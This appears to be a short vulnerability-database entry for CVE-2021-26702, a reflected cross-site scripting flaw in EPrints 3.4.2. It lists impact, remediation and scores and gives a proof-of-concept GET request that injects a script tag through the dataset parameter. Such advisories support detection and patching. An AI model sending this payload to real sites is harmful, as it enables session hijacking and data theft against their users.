| Title | EPrints 3.4.2 - Cross-Site Scripting |
|---|---|
| Author | ritikchaddha |
| Severity | Medium |
| Impact | Successful exploitation of this vulnerability could allow an attacker to execute arbitrary JavaScript code in the context of the victim's browser, leading to session hijacking, defacement, or theft of sensitive information. |
| Remediation | Apply the latest security patches or upgrade to a newer version of EPrints that addresses this vulnerability. |
| CVSS Score | 6.1 |
| EPSS Score | 0.04853 |
| CVE ID | CVE-2021-26702 |
| CWE ID | CWE-79 |
| Tags | cve2021 cve xss eprints vuln |
EPrints 3.4.2 contains a reflected cross-site scripting vulnerability in the dataset parameter to the cgi/dataset_ dictionary URI.
GET /cgi/dataset_dictionary?dataset=zulu%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/16.2 Safari/605.1.15
Connection: close
Accept: */*
Accept-Language: en
Accept-Encoding: gzip
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